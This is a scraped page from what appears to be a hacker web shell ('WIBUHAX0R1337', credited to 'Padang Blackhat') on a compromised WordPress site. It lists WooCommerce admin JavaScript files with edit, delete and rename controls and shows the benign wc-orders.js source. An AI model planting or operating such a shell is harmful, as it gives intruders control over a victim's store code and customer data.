-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
legacy
/
js
/
admin
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
.htaccess
0.231KB
Edit File
Delete File
Rename
api-keys.js
3.893KB
Edit File
Delete File
Rename
backbone-modal.js
3.46KB
Edit File
Delete File
Rename
marketplace-suggestions.js
15.591KB
Edit File
Delete File
Rename
meta-boxes-order.js
46.839KB
Edit File
Delete File
Rename
meta-boxes.js
2.331KB
Edit File
Delete File
Rename
network-orders.js
2.338KB
Edit File
Delete File
Rename
product-ordering.js
2.258KB
Edit File
Delete File
Rename
quick-edit.js
6.779KB
Edit File
Delete File
Rename
settings-views-html-settings-tax.js
11.933KB
Edit File
Delete File
Rename
system-status.js
3.551KB
Edit File
Delete File
Rename
term-ordering.js
4.18KB
Edit File
Delete File
Rename
users.js
3.784KB
Edit File
Delete File
Rename
wc-clipboard.js
0.849KB
Edit File
Delete File
Rename
wc-enhanced-select.js
10.412KB
Edit File
Delete File
Rename
wc-orders.js
1.903KB
Edit File
Delete File
Rename
wc-product-export.js
3.632KB
Edit File
Delete File
Rename
wc-product-import.js
2.578KB
Edit File
Delete File
Rename
wc-setup.js
10.049KB
Edit File
Delete File
Rename
wc-shipping-classes.js
7.922KB
Edit File
Delete File
Rename
wc-shipping-zone-methods.js
15.153KB
Edit File
Delete File
Rename
wc-shipping-zones.js
8.986KB
Edit File
Delete File
Rename
wc-status-widget.js
0.72KB
Edit File
Delete File
Rename
woocommerce_admin.js
14.972KB
Edit File
Delete File
Rename
/* global wc_orders_params */ jQuery( function( $ ) { if ( typeof wc_orders_params === 'undefined' ) { return false; } /** * WCOrdersTable class. */ var WCOrdersTable = function() { $( document ) .on( 'click', '.post-type-shop_order .wp-list-table tbody td', this.onRowClick ) .on( 'click', '.order-preview:not(.disabled)', this.onPreview ); }; /** * Click a row. */ WCOrdersTable.prototype.onRowClick = function( e ) { if ( $( e.target ).filter( 'a, a *, .no-link, .no-link *, button, button *' ).length ) { return true; } if ( window.getSelection && window.getSelection().toString().length ) { return true; } var $row = $( this ).closest( 'tr' ), href = $row.find( 'a.order-view' ).attr( 'href' ); if ( href && href.length ) { e.preventDefault(); if ( e.metaKey || e.ctrlKey ) { window.open( href, '_blank' ); } else { window.location = href; } } }; /** * Preview an order. */ WCOrdersTable.prototype.onPreview = function() { var $previewButton = $( this ), $order_id = $previewButton.data( 'orderId' ); if ( $previewButton.data( 'order-data' ) ) { $( this ).WCBackboneModal({ template: 'wc-modal-view-order', variable : $previewButton.data( 'orderData' ) }); } else { $previewButton.addClass( 'disabled' ); $.ajax({ url: wc_orders_params.ajax_url, data: { order_id: $order_id, action : 'woocommerce_get_order_details', security: wc_orders_params.preview_nonce }, type: 'GET', success: function( response ) { $( '.order-preview' ).removeClass( 'disabled' ); if ( response.success ) { $previewButton.data( 'orderData', response.data ); $( this ).WCBackboneModal({ template: 'wc-modal-view-order', variable : response.data }); } } }); } return false; }; /** * Init WCOrdersTable. */ new WCOrdersTable(); } );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat